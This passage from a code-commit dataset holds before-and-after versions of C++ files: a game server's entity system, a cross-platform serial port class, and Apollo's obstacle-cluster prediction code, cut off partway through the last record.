basicInfo.teamId = basicInfo.id;\n basicInfo.job = charRow.job;\n basicInfo.statPoints = charRow.stat_points;\n basicInfo.skillPoints = charRow.skill_points;\n basicInfo.pkFlag = charRow.pk_flag;\n\n auto& computedValues = prototype.set<ComputedValues>();\n computedValues.command = RoseCommon::Command::STOP;\n computedValues.isOnMap.store(false);\n computedValues.moveMode = RoseCommon::MoveMode::WALK;\n computedValues.runSpeed = 0;\n computedValues.atkSpeed = 0;\n computedValues.weightRate = 0;\n \n auto& faction = prototype.set<Faction>();\n faction.id = charRow.factionid;\n faction.rank = charRow.faction_rank;\n faction.fame = charRow.fame;\n faction.factionFame[0] = charRow.faction_fame1;\n faction.factionFame[1] = charRow.faction_fame2;\n faction.points[0] = charRow.faction_points1;\n faction.points[1] = charRow.faction_points2;\n faction.points[2] = charRow.faction_points3;\n\n auto& graphics = prototype.set<Graphics>();\n graphics.face = charRow.face;\n graphics.hair = charRow.hair;\n graphics.race = charRow.race;\n \n auto& guild = prototype.set<Guild>();\n guild.id = charRow.clanid;\n guild.contribution = charRow.clan_contribution;\n guild.rank = charRow.clan_rank;\n\n prototype.set<Hotbar>();\n\n auto invRes =\n conn(sqlpp::select(sqlpp::all_of(inventoryTable)).from(inventoryTable).where(inventoryTable.charId == charId));\n auto& inventory = prototype.set<Inventory>();\n\n auto& level = prototype.set<Level>();\n level.xp = charRow.exp;\n level.level = charRow.level;\n level.penaltyXp = charRow.penalty_exp;\n\n auto& life = prototype.set<Life>();\n life.hp = charRow.maxHp \/ 3; \/\/ you only get 30% of your health when login in\n life.maxHp = charRow.maxHp;\n\n auto& magic = prototype.set<Magic>();\n magic.mp = charRow.maxMp \/ 3;\n magic.maxMp = charRow.maxMp;\n\n auto& pos = prototype.set<Position>();\n pos.x = charRow.x;\n pos.y = charRow.y;\n pos.z = 0;\n pos.spawn = charRow.reviveMap;\n\n auto skillRes =\n conn(sqlpp::select(skillsTable.id, skillsTable.level).from(skillsTable).where(skillsTable.charId == charId));\n auto& skills = prototype.set<Skills>();\n for (const auto& [i, row] : Core::enumerate(skillRes)) {\n skills[i].set_id(row.id);\n skills[i].set_level(row.level);\n }\n\n auto& stamina = prototype.set<Stamina>();\n stamina.stamina = charRow.stamina;\n\n auto& stats = prototype.set<Stats>();\n stats.str = charRow.str;\n stats.dex = charRow.dex;\n stats.int_ = charRow.int_;\n stats.con = charRow.con;\n stats.charm = charRow.charm;\n stats.sense = charRow.sense;\n stats.bodySize = 100;\n stats.headSize = 100;\n\n prototype.set<StatusEffects>();\n\n auto wishRes = conn(sqlpp::select(sqlpp::all_of(wish)).from(wish).where(wish.charId == charId));\n auto& wishlist = prototype.set<Wishlist>();\n for (const auto& row : wishRes) {\n if (row.slot >= RoseCommon::MAX_WISHLIST) {\n continue;\n }\n \/\/ TODO: add load_item from database (from row??)\n }\n\n std::lock_guard<std::mutex> lock(access);\n return prototype();\n}\n\nvoid EntitySystem::save_character(RoseCommon::Entity character) const {\n}\n\nRoseCommon::Entity EntitySystem::create_item(uint8_t type, uint16_t id) {\n using namespace Component;\n entt::prototype prototype(registry);\n \n const auto &itemDb = ItemDatabase::getInstance();\n if (!itemDb.hasItemDef(type, id)) {\n return entt::null;\n }\n const auto def = itemDb.getItemDef(type, id);\n \n auto& item = prototype.set<Item>();\n item.type = type;\n item.id = id;\n item.isCreated = false;\n item.life = 1000;\n item.hasSocket = false;\n item.isAppraised = false;\n item.refine = 0;\n item.count = 0;\n item.gemOpt = 0;\n\t\n std::lock_guard<std::mutex> lock(access);\n return prototype();\n}\n<commit_msg>Update entity_system.cpp<commit_after>#include \"entity_system.h\"\n#include \"enumerate.h\"\n#include <entt.hpp>\n#include \"components\/basic_info.h\"\n#include \"components\/computed_values.h\"\n#include \"components\/faction.h\"\n#include \"components\/graphics.h\"\n#include \"components\/guild.h\"\n#include \"components\/hotbar.h\"\n#include \"components\/inventory.h\"\n#include \"components\/item.h\"\n#include \"components\/level.h\"\n#include \"components\/life.h\"\n#include \"components\/magic.h\"\n#include \"components\/npc.h\"\n#include \"components\/owner.h\"\n#include \"components\/position.h\"\n#include \"components\/skills.h\"\n#include \"components\/stamina.h\"\n#include \"components\/stats.h\"\n#include \"components\/status_effects.h\"\n#include \"components\/wishlist.h\"\n\nEntitySystem::EntitySystem(std::chrono::milliseconds maxTimePerUpdate) : maxTimePerUpdate(maxTimePerUpdate) {\n\tlogger = Core::CLog::GetLogger(Core::log_type::NETWORK).lock();\n}\n\nEntitySystem::~EntitySystem() {\n work_queue.kill();\n}\n\nvoid EntitySystem::add_task(std::function<void(RoseCommon::Registry&, std::chrono::milliseconds)>&& task) {\n work_queue.push_back(std::move(task));\n}\n\nvoid EntitySystem::update(std::chrono::milliseconds dt) {\n auto start = Core::Time::GetTickCount();\n for (auto [res, task] = work_queue.pop_front(); res;) {\n std::lock_guard<std::mutex> lock(access);\n task(registry, dt);\n const std::chrono::milliseconds diff = std::chrono::duration_cast<std::chrono::milliseconds>(Core::Time::GetTickCount() - start);\n if (diff >= maxTimePerUpdate) {\n logger->warn(\"Stopping after {}ms, {} tasks remaining\", maxTimePerUpdate.count(), work_queue.size());\n break;\n }\n auto [tmp_res, tmp_task] = work_queue.pop_front();\n res = tmp_res;\n task = std::move(tmp_task);\n }\n}\n\nRoseCommon::Entity EntitySystem::load_character(uint32_t charId, bool platinium) {\n using namespace Component;\n auto conn = Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n Core::InventoryTable inventoryTable{};\n Core::SkillTable skillsTable{};\n Core::WishTable wish{};\n\n auto charRes = conn(sqlpp::select(sqlpp::count(characters.id), sqlpp::all_of(characters))\n .from(characters).where(characters.id == charId));\n\n if (static_cast<long>(charRes.front().count) != 1L) {\n return entt::null;\n }\n const auto& charRow = charRes.front();\n\n entt::prototype prototype(registry);\n\n auto& basicInfo = prototype.set<BasicInfo>();\n basicInfo.name = charRow.name;\n basicInfo.id = idManager.get_free_id();\n basicInfo.tag = basicInfo.id;\n basicInfo.teamId = basicInfo.id;\n basicInfo.job = charRow.job;\n basicInfo.statPoints = charRow.stat_points;\n basicInfo.skillPoints = charRow.skill_points;\n basicInfo.pkFlag = charRow.pk_flag;\n\n auto& computedValues = prototype.set<ComputedValues>();\n computedValues.command = RoseCommon::Command::STOP;\n computedValues.isOnMap.store(false);\n computedValues.moveMode = RoseCommon::MoveMode::WALK;\n computedValues.runSpeed = 0;\n computedValues.atkSpeed = 0;\n computedValues.weightRate = 0;\n \n auto& faction = prototype.set<Faction>();\n faction.id = charRow.factionid;\n faction.rank = charRow.faction_rank;\n faction.fame = charRow.fame;\n faction.factionFame[0] = charRow.faction_fame1;\n faction.factionFame[1] = charRow.faction_fame2;\n faction.points[0] = charRow.faction_points1;\n faction.points[1] = charRow.faction_points2;\n faction.points[2] = charRow.faction_points3;\n\n auto& graphics = prototype.set<Graphics>();\n graphics.face = charRow.face;\n graphics.hair = charRow.hair;\n graphics.race = charRow.race;\n \n auto& guild = prototype.set<Guild>();\n guild.id = charRow.clanid;\n guild.contribution = charRow.clan_contribution;\n guild.rank = charRow.clan_rank;\n\n prototype.set<Hotbar>();\n\n auto invRes =\n conn(sqlpp::select(sqlpp::all_of(inventoryTable)).from(inventoryTable).where(inventoryTable.charId == charId));\n auto& inventory = prototype.set<Inventory>();\n\n auto& level = prototype.set<Level>();\n level.xp = charRow.exp;\n level.level = charRow.level;\n level.penaltyXp = charRow.penalty_exp;\n\n auto& life = prototype.set<Life>();\n life.hp = charRow.maxHp \/ 3; \/\/ you only get 30% of your health when login in\n life.maxHp = charRow.maxHp;\n\n auto& magic = prototype.set<Magic>();\n magic.mp = charRow.maxMp \/ 3;\n magic.maxMp = charRow.maxMp;\n\n auto& pos = prototype.set<Position>();\n pos.x = charRow.x;\n pos.y = charRow.y;\n pos.z = 0;\n pos.spawn = charRow.reviveMap;\n\n auto skillRes =\n conn(sqlpp::select(skillsTable.id, skillsTable.level).from(skillsTable).where(skillsTable.charId == charId));\n auto& skills = prototype.set<Skills>();\n for (const auto& [i, row] : Core::enumerate(skillRes)) {\n skills[i].set_id(row.id);\n skills[i].set_level(row.level);\n }\n\n auto& stamina = prototype.set<Stamina>();\n stamina.stamina = charRow.stamina;\n\n auto& stats = prototype.set<Stats>();\n stats.str = charRow.str;\n stats.dex = charRow.dex;\n stats.int_ = charRow.int_;\n stats.con = charRow.con;\n stats.charm = charRow.charm;\n stats.sense = charRow.sense;\n stats.bodySize = 100;\n stats.headSize = 100;\n\n prototype.set<StatusEffects>();\n\n auto wishRes = conn(sqlpp::select(sqlpp::all_of(wish)).from(wish).where(wish.charId == charId));\n auto& wishlist = prototype.set<Wishlist>();\n for (const auto& row : wishRes) {\n if (row.slot >= RoseCommon::MAX_WISHLIST) {\n continue;\n }\n \/\/ TODO: add load_item from database (from row??)\n }\n\n std::lock_guard<std::mutex> lock(access);\n return prototype();\n}\n\nvoid EntitySystem::save_character(RoseCommon::Entity character) const {\n}\n\nRoseCommon::Entity EntitySystem::create_item(uint8_t type, uint16_t id) {\n using namespace Component;\n entt::prototype prototype(registry);\n \n const auto &itemDb = RoseCommon::ItemDatabase::getInstance();\n if (!itemDb.hasItemDef(type, id)) {\n return entt::null;\n }\n const auto& def = itemDb.getItemDef(type, id);\n \n auto& item = prototype.set<Item>();\n item.type = type;\n item.id = id;\n item.isCreated = false;\n item.life = 1000;\n item.hasSocket = false;\n item.isAppraised = false;\n item.refine = 0;\n item.count = 0;\n item.gemOpt = 0;\n\n prototype.set<RoseCommon::ItemDatabase::ItemDef>(def);\n\t\n std::lock_guard<std::mutex> lock(access);\n return prototype();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Serial.hpp\"\r\n#include <stdexcept>\r\n\r\nusing namespace TurtlebotLibrary;\r\n\r\nSerialPort::SerialPort()\r\n{\r\n this->port = nullptr;\r\n this->baud = 0;\r\n this->opened = false;\r\n\tthis->handle = INVALID_SERIAL_PORT_HANDLE;\r\n}\r\n\r\n\r\nSerialPort::SerialPort(const char *port, int baud)\r\n{\r\n this->port = port;\r\n this->baud = baud;\r\n this->opened = false;\r\n\tthis->handle = INVALID_SERIAL_PORT_HANDLE;\r\n}\r\n\r\nSerialPort::~SerialPort()\r\n{\r\n this->Close();\r\n}\r\n\r\nbool SerialPort::IsOpen() const\r\n{\r\n return this->opened;\r\n}\r\n\r\nconst char * SerialPort::GetPort() const\r\n{\r\n return this->port;\r\n}\r\n\r\nint SerialPort::GetBaud() const\r\n{\r\n return this->baud;\r\n}\r\n\r\nvoid SerialPort::SetPortName(const char *portname)\r\n{\r\n this->port = portname;\r\n}\r\n\r\nvoid SerialPort::SetBaud(int baudrate)\r\n{\r\n this->baud = baudrate;\r\n}\r\n\r\n#ifdef _WIN32\r\nbool SerialPort::Open()\r\n{\r\n DCB dcb;\r\n COMMTIMEOUTS commTO;\r\n \r\n if (!this->port)\r\n return false;\r\n\r\n handle = CreateFile(\r\n port,\r\n GENERIC_READ | GENERIC_WRITE,\r\n 0,\r\n 0,\r\n OPEN_EXISTING,\r\n FILE_FLAG_WRITE_THROUGH,\r\n 0\r\n );\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return false;\r\n \r\n memset(&dcb, 0, sizeof(DCB));\r\n if (!GetCommState(handle, &dcb))\r\n {\r\n CloseHandle(handle);\r\n return false;\r\n }\r\n\r\n dcb.BaudRate = baud;\r\n dcb.fParity = FALSE;\r\n dcb.StopBits = ONESTOPBIT;\r\n dcb.ByteSize = 8;\r\n dcb.DCBlength = sizeof(dcb);\r\n if (!SetCommState(handle, &dcb))\r\n {\r\n CloseHandle(handle);\r\n return false;\r\n }\r\n \r\n memset(&commTO, 0, sizeof(COMMTIMEOUTS));\r\n commTO.ReadIntervalTimeout = MAXDWORD;\r\n if (!SetCommTimeouts(handle, &commTO))\r\n {\r\n CloseHandle(handle);\r\n return INVALID_HANDLE_VALUE;\r\n }\r\n\r\n this->opened = true;\r\n return true;\r\n}\r\n\r\nvoid SerialPort::Close()\r\n{\r\n\tif (this->opened)\r\n CloseHandle(handle);\r\n\r\n this->opened = false;\r\n}\r\n\r\nint SerialPort::WriteData(const void *data, int size_bytes)\r\n{\r\n DWORD bytesWritten;\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return -1;\r\n \r\n if (!WriteFile(handle, data, size_bytes, &bytesWritten, nullptr))\r\n return -1;\r\n \r\n return bytesWritten;\r\n}\r\n\r\nint SerialPort::ReadData(void *data, int max_size_bytes)\r\n{\r\n DWORD bytesRead;\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return -1;\r\n \r\n if (!ReadFile(handle, data, max_size_bytes, &bytesRead, nullptr))\r\n return -1;\r\n \r\n return bytesRead;\r\n}\r\n\r\n#else\r\nbool SerialPort::Open()\r\n{\r\n struct termios serialPortProperties;\r\n\r\n if (!this->port)\r\n return false;\r\n\r\n handle = open(port, O_RDWR | O_NOCTTY);\r\n if (handle < 0)\r\n return false;\r\n \r\n memset(&serialPortProperties, 0, sizeof(struct termios));\r\n tcgetattr(handle, &serialPortProperties);\r\n cfsetospeed(&serialPortProperties, baud);\r\n cfsetispeed(&serialPortProperties, baud);\r\n\r\n serialPortProperties.c_cflag = (serialPortProperties.c_cflag & ~CSIZE) | CS8;\r\n serialPortProperties.c_cflag &= ~(PARENB | PARODD);\r\n serialPortProperties.c_cflag &= ~CSTOPB;\r\n tcflush(handle, TCIFLUSH);\r\n tcsetattr(handle, TCSANOW, &serialPortProperties);\r\n\r\n this->opened = true; \r\n return true;\r\n}\r\n\r\nvoid SerialPort::Close()\r\n{\r\n if (handle > 0)\r\n close(handle);\r\n}\r\n\r\nint SerialPort::WriteData(const void *data, int size_bytes)\r\n{\r\n if (handle < 0)\r\n return -1;\r\n \r\n return write(handle, data, size_bytes);\r\n}\r\n\r\nint SerialPort::ReadData(void *data, int max_size_bytes)\r\n{\r\n if (handle < 0)\r\n return -1;\r\n \r\n return read(handle, data, max_size_bytes);\r\n}\r\n\r\n#endif<commit_msg>Port fixes for serial port destructor to linux.<commit_after>#include \"Serial.hpp\"\r\n#include <stdexcept>\r\n\r\nusing namespace TurtlebotLibrary;\r\n\r\nSerialPort::SerialPort()\r\n{\r\n this->port = nullptr;\r\n this->baud = 0;\r\n this->opened = false;\r\n\tthis->handle = INVALID_SERIAL_PORT_HANDLE;\r\n}\r\n\r\n\r\nSerialPort::SerialPort(const char *port, int baud)\r\n{\r\n this->port = port;\r\n this->baud = baud;\r\n this->opened = false;\r\n\tthis->handle = INVALID_SERIAL_PORT_HANDLE;\r\n}\r\n\r\nSerialPort::~SerialPort()\r\n{\r\n this->Close();\r\n}\r\n\r\nbool SerialPort::IsOpen() const\r\n{\r\n return this->opened;\r\n}\r\n\r\nconst char * SerialPort::GetPort() const\r\n{\r\n return this->port;\r\n}\r\n\r\nint SerialPort::GetBaud() const\r\n{\r\n return this->baud;\r\n}\r\n\r\nvoid SerialPort::SetPortName(const char *portname)\r\n{\r\n this->port = portname;\r\n}\r\n\r\nvoid SerialPort::SetBaud(int baudrate)\r\n{\r\n this->baud = baudrate;\r\n}\r\n\r\n#ifdef _WIN32\r\nbool SerialPort::Open()\r\n{\r\n DCB dcb;\r\n COMMTIMEOUTS commTO;\r\n \r\n if (!this->port)\r\n return false;\r\n\r\n handle = CreateFile(\r\n port,\r\n GENERIC_READ | GENERIC_WRITE,\r\n 0,\r\n 0,\r\n OPEN_EXISTING,\r\n FILE_FLAG_WRITE_THROUGH,\r\n 0\r\n );\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return false;\r\n \r\n memset(&dcb, 0, sizeof(DCB));\r\n if (!GetCommState(handle, &dcb))\r\n {\r\n CloseHandle(handle);\r\n return false;\r\n }\r\n\r\n dcb.BaudRate = baud;\r\n dcb.fParity = FALSE;\r\n dcb.StopBits = ONESTOPBIT;\r\n dcb.ByteSize = 8;\r\n dcb.DCBlength = sizeof(dcb);\r\n if (!SetCommState(handle, &dcb))\r\n {\r\n CloseHandle(handle);\r\n return false;\r\n }\r\n \r\n memset(&commTO, 0, sizeof(COMMTIMEOUTS));\r\n commTO.ReadIntervalTimeout = MAXDWORD;\r\n if (!SetCommTimeouts(handle, &commTO))\r\n {\r\n CloseHandle(handle);\r\n return false;\r\n }\r\n\r\n this->opened = true;\r\n return true;\r\n}\r\n\r\nvoid SerialPort::Close()\r\n{\r\n\tif (this->opened)\r\n CloseHandle(handle);\r\n\r\n this->opened = false;\r\n}\r\n\r\nint SerialPort::WriteData(const void *data, int size_bytes)\r\n{\r\n DWORD bytesWritten;\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return -1;\r\n \r\n if (!WriteFile(handle, data, size_bytes, &bytesWritten, nullptr))\r\n return -1;\r\n \r\n return bytesWritten;\r\n}\r\n\r\nint SerialPort::ReadData(void *data, int max_size_bytes)\r\n{\r\n DWORD bytesRead;\r\n \r\n if (handle == INVALID_HANDLE_VALUE)\r\n return -1;\r\n \r\n if (!ReadFile(handle, data, max_size_bytes, &bytesRead, nullptr))\r\n return -1;\r\n \r\n return bytesRead;\r\n}\r\n\r\n#else\r\nbool SerialPort::Open()\r\n{\r\n struct termios serialPortProperties;\r\n\r\n if (!this->port)\r\n return false;\r\n\r\n handle = open(port, O_RDWR | O_NOCTTY);\r\n if (handle < 0)\r\n return false;\r\n \r\n memset(&serialPortProperties, 0, sizeof(struct termios));\r\n tcgetattr(handle, &serialPortProperties);\r\n cfsetospeed(&serialPortProperties, baud);\r\n cfsetispeed(&serialPortProperties, baud);\r\n\r\n serialPortProperties.c_cflag = (serialPortProperties.c_cflag & ~CSIZE) | CS8;\r\n serialPortProperties.c_cflag &= ~(PARENB | PARODD);\r\n serialPortProperties.c_cflag &= ~CSTOPB;\r\n tcflush(handle, TCIFLUSH);\r\n tcsetattr(handle, TCSANOW, &serialPortProperties);\r\n\r\n this->opened = true; \r\n return true;\r\n}\r\n\r\nvoid SerialPort::Close()\r\n{\r\n if (this->opened)\r\n close(handle);\r\n\r\n this->opened = false;\r\n}\r\n\r\nint SerialPort::WriteData(const void *data, int size_bytes)\r\n{\r\n if (handle < 0)\r\n return -1;\r\n \r\n return write(handle, data, size_bytes);\r\n}\r\n\r\nint SerialPort::ReadData(void *data, int max_size_bytes)\r\n{\r\n if (handle < 0)\r\n return -1;\r\n \r\n return read(handle, data, max_size_bytes);\r\n}\r\n\r\n#endif<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/prediction\/container\/obstacles\/obstacle_clusters.h\"\n\n#include <algorithm>\n#include <limits>\n\n#include \"modules\/prediction\/common\/road_graph.h\"\n\nnamespace apollo {\nnamespace prediction {\n\nusing ::apollo::hdmap::LaneInfo;\n\nstd::unordered_map<std::string, LaneGraph> ObstacleClusters::lane_graphs_;\nstd::unordered_map<std::string, std::vector<LaneObstacle>>\n ObstacleClusters::lane_obstacles_;\nstd::unordered_map<std::string, StopSign>\n ObstacleClusters::lane_id_stop_sign_map_;\n\nvoid ObstacleClusters::Clear() {\n lane_graphs_.clear();\n lane_obstacles_.clear();\n lane_id_stop_sign_map_.clear();\n}\n\nvoid ObstacleClusters::Init() { Clear(); }\n\nconst LaneGraph& ObstacleClusters::GetLaneGraph(\n const double start_s, const double length,\n std::shared_ptr<const LaneInfo> lane_info_ptr) {\n std::string lane_id = lane_info_ptr->id().id();\n if (lane_graphs_.find(lane_id) != lane_graphs_.end()) {\n \/\/ If this lane_segment has been used for constructing LaneGraph,\n \/\/ fetch the previously saved LaneGraph, modify its start_s,\n \/\/ then return this (save the time to construct the entire LaneGraph).\n LaneGraph* lane_graph = &lane_graphs_[lane_id];\n for (int i = 0; i < lane_graph->lane_sequence_size(); ++i) {\n LaneSequence* lane_seq_ptr = lane_graph->mutable_lane_sequence(i);\n if (lane_seq_ptr->lane_segment_size() == 0) {\n continue;\n }\n LaneSegment* first_lane_seg_ptr = lane_seq_ptr->mutable_lane_segment(0);\n if (first_lane_seg_ptr->lane_id() != lane_id) {\n continue;\n }\n first_lane_seg_ptr->set_start_s(start_s);\n }\n } else {\n \/\/ If this lane_segment has not been used for constructing LaneGraph,\n \/\/ construct the LaneGraph and return.\n RoadGraph road_graph(start_s, length, lane_info_ptr);\n LaneGraph lane_graph;\n road_graph.BuildLaneGraph(&lane_graph);\n lane_graphs_[lane_id] = std::move(lane_graph);\n }\n return lane_graphs_[lane_id];\n}\n\nLaneGraph ObstacleClusters::GetLaneGraphWithoutMemorizing(\n const double start_s, const double length,\n std::shared_ptr<const LaneInfo> lane_info_ptr) {\n RoadGraph road_graph(start_s, length, lane_info_ptr);\n LaneGraph lane_graph;\n road_graph.BuildLaneGraph(&lane_graph);\n return lane_graph;\n}\n\nvoid ObstacleClusters::AddObstacle(\n const int obstacle_id,\n const std::string& lane_id,\n const double lane_s,\n const double lane_l) {\n LaneObstacle lane_obstacle;\n lane_obstacle.set_obstacle_id(obstacle_id);\n lane_obstacle.set_lane_id(lane_id);\n lane_obstacle.set_lane_s(lane_s);\n lane_obstacle.set_lane_l(lane_l);\n lane_obstacles_[lane_id].push_back(std::move(lane_obstacle));\n}\n\nvoid ObstacleClusters::SortObstacles() {\n for (auto iter = lane_obstacles_.begin();\n iter != lane_obstacles_.end(); ++iter) {\n std::sort(iter->second.begin(), iter->second.end(),\n [](const LaneObstacle& obs0, const LaneObstacle& obs1) -> bool {\n return obs0.lane_s() < obs1.lane_s();\n });\n }\n}\n\nbool ObstacleClusters::ForwardNearbyObstacle(\n const LaneSequence& lane_sequence,\n const int obstacle_id,\n const double obstacle_s,\n const double obstacle_l,\n NearbyObstacle* const nearby_obstacle_ptr) {\n double accumulated_s = 0.0;\n for (const LaneSegment& lane_segment : lane_sequence.lane_segment()) {\n std::string lane_id = lane_segment.lane_id();\n double lane_length = lane_segment.total_length();\n if (lane_obstacles_.find(lane_id) == lane_obstacles_.end() ||\n lane_obstacles_[lane_id].empty()) {\n accumulated_s += lane_length;\n continue;\n }\n for (const LaneObstacle& lane_obstacle : lane_obstacles_[lane_id]) {\n if (lane_obstacle.obstacle_id() == obstacle_id) {\n continue;\n }\n double relative_s = accumulated_s + lane_obstacle.lane_s() - obstacle_s;\n double relative_l = lane_obstacle.lane_l() - obstacle_l;\n if (relative_s > 0.0) {\n nearby_obstacle_ptr->set_id(lane_obstacle.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n return true;\n }\n }\n }\n return false;\n}\n\nbool ObstacleClusters::BackwardNearbyObstacle(\n const LaneSequence& lane_sequence,\n const int obstacle_id,\n const double obstacle_s,\n const double obstacle_l,\n NearbyObstacle* const nearby_obstacle_ptr) {\n if (lane_sequence.lane_segment_size() == 0) {\n AERROR << \"Empty lane sequence found.\";\n return false;\n }\n const LaneSegment& lane_segment = lane_sequence.lane_segment(0);\n std::string lane_id = lane_segment.lane_id();\n\n \/\/ Search current lane\n if (lane_obstacles_.find(lane_id) != lane_obstacles_.end() &&\n !lane_obstacles_[lane_id].empty()) {\n for (std::size_t i = lane_obstacles_[lane_id].size() - 1; i >= 0; --i) {\n const LaneObstacle& lane_obstacle = lane_obstacles_[lane_id][i];\n if (lane_obstacle.obstacle_id() == obstacle_id) {\n continue;\n }\n double relative_s = lane_obstacle.lane_s() - obstacle_s;\n double relative_l = lane_obstacle.lane_l() - obstacle_l;\n if (relative_s < 0.0) {\n nearby_obstacle_ptr->set_id(lane_obstacle.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n return true;\n }\n }\n }\n\n \/\/ Search backward lanes\n std::shared_ptr<const LaneInfo> lane_info_ptr =\n PredictionMap::LaneById(lane_id);\n bool found_one_behind = false;\n double relative_s = -std::numeric_limits<double>::infinity();\n double relative_l = 0.0;\n for (const auto& predecessor_lane_id :\n lane_info_ptr->lane().predecessor_id()) {\n std::string lane_id = predecessor_lane_id.id();\n if (lane_obstacles_.find(lane_id) == lane_obstacles_.end() ||\n lane_obstacles_[lane_id].empty()) {\n continue;\n }\n std::shared_ptr<const LaneInfo> pred_lane_info_ptr =\n PredictionMap::LaneById(predecessor_lane_id.id());\n const LaneObstacle& backward_obs = lane_obstacles_[lane_id].back();\n double delta_s = backward_obs.lane_s() -\n (obstacle_s + pred_lane_info_ptr->total_length());\n found_one_behind = true;\n if (delta_s > relative_s) {\n relative_s = delta_s;\n relative_l = backward_obs.lane_l() - obstacle_l;\n nearby_obstacle_ptr->set_id(backward_obs.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n }\n }\n\n return found_one_behind;\n}\n\nStopSign ObstacleClusters::QueryStopSignByLaneId(const std::string& lane_id) {\n StopSign stop_sign;\n \/\/ Find the stop_sign by lane_id in the hashtable\n if (lane_id_stop_sign_map_.find(lane_id) != lane_id_stop_sign_map_.end()) {\n return lane_id_stop_sign_map_[lane_id];\n }\n std::shared_ptr<const LaneInfo> lane_info_ptr =\n PredictionMap::LaneById(lane_id);\n CHECK_NOTNULL(lane_info_ptr);\n for (const auto &overlap_id : lane_info_ptr->lane().overlap_id()) {\n auto overlap_info_ptr = PredictionMap::OverlapById(overlap_id.id());\n if (overlap_info_ptr == nullptr) {\n continue;\n }\n for (const auto &object : overlap_info_ptr->overlap().object()) {\n \/\/ find the overlap with stop_sign\n if (object.has_stop_sign_overlap_info()) {\n for (const auto &obj : overlap_info_ptr->overlap().object()) {\n \/\/ find the obj of in the overlap\n if (obj.has_lane_overlap_info()) {\n if (!stop_sign.has_lane_s() ||\n stop_sign.lane_s() > obj.lane_overlap_info().start_s()) {\n stop_sign.set_stop_sign_id(object.id().id());\n stop_sign.set_lane_id(lane_id);\n stop_sign.set_lane_s(obj.lane_overlap_info().start_s());\n lane_id_stop_sign_map_[lane_id] = stop_sign;\n }\n }\n }\n }\n }\n }\n return lane_id_stop_sign_map_[lane_id];\n}\n\n} \/\/ namespace prediction\n} \/\/ namespace apollo\n<commit_msg>Prediction: fix infinite loop on search curr_lane<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/prediction\/container\/obstacles\/obstacle_clusters.h\"\n\n#include <algorithm>\n#include <limits>\n\n#include \"modules\/prediction\/common\/road_graph.h\"\n\nnamespace apollo {\nnamespace prediction {\n\nusing ::apollo::hdmap::LaneInfo;\n\nstd::unordered_map<std::string, LaneGraph> ObstacleClusters::lane_graphs_;\nstd::unordered_map<std::string, std::vector<LaneObstacle>>\n ObstacleClusters::lane_obstacles_;\nstd::unordered_map<std::string, StopSign>\n ObstacleClusters::lane_id_stop_sign_map_;\n\nvoid ObstacleClusters::Clear() {\n lane_graphs_.clear();\n lane_obstacles_.clear();\n lane_id_stop_sign_map_.clear();\n}\n\nvoid ObstacleClusters::Init() { Clear(); }\n\nconst LaneGraph& ObstacleClusters::GetLaneGraph(\n const double start_s, const double length,\n std::shared_ptr<const LaneInfo> lane_info_ptr) {\n std::string lane_id = lane_info_ptr->id().id();\n if (lane_graphs_.find(lane_id) != lane_graphs_.end()) {\n \/\/ If this lane_segment has been used for constructing LaneGraph,\n \/\/ fetch the previously saved LaneGraph, modify its start_s,\n \/\/ then return this (save the time to construct the entire LaneGraph).\n LaneGraph* lane_graph = &lane_graphs_[lane_id];\n for (int i = 0; i < lane_graph->lane_sequence_size(); ++i) {\n LaneSequence* lane_seq_ptr = lane_graph->mutable_lane_sequence(i);\n if (lane_seq_ptr->lane_segment_size() == 0) {\n continue;\n }\n LaneSegment* first_lane_seg_ptr = lane_seq_ptr->mutable_lane_segment(0);\n if (first_lane_seg_ptr->lane_id() != lane_id) {\n continue;\n }\n first_lane_seg_ptr->set_start_s(start_s);\n }\n } else {\n \/\/ If this lane_segment has not been used for constructing LaneGraph,\n \/\/ construct the LaneGraph and return.\n RoadGraph road_graph(start_s, length, lane_info_ptr);\n LaneGraph lane_graph;\n road_graph.BuildLaneGraph(&lane_graph);\n lane_graphs_[lane_id] = std::move(lane_graph);\n }\n return lane_graphs_[lane_id];\n}\n\nLaneGraph ObstacleClusters::GetLaneGraphWithoutMemorizing(\n const double start_s, const double length,\n std::shared_ptr<const LaneInfo> lane_info_ptr) {\n RoadGraph road_graph(start_s, length, lane_info_ptr);\n LaneGraph lane_graph;\n road_graph.BuildLaneGraph(&lane_graph);\n return lane_graph;\n}\n\nvoid ObstacleClusters::AddObstacle(\n const int obstacle_id,\n const std::string& lane_id,\n const double lane_s,\n const double lane_l) {\n LaneObstacle lane_obstacle;\n lane_obstacle.set_obstacle_id(obstacle_id);\n lane_obstacle.set_lane_id(lane_id);\n lane_obstacle.set_lane_s(lane_s);\n 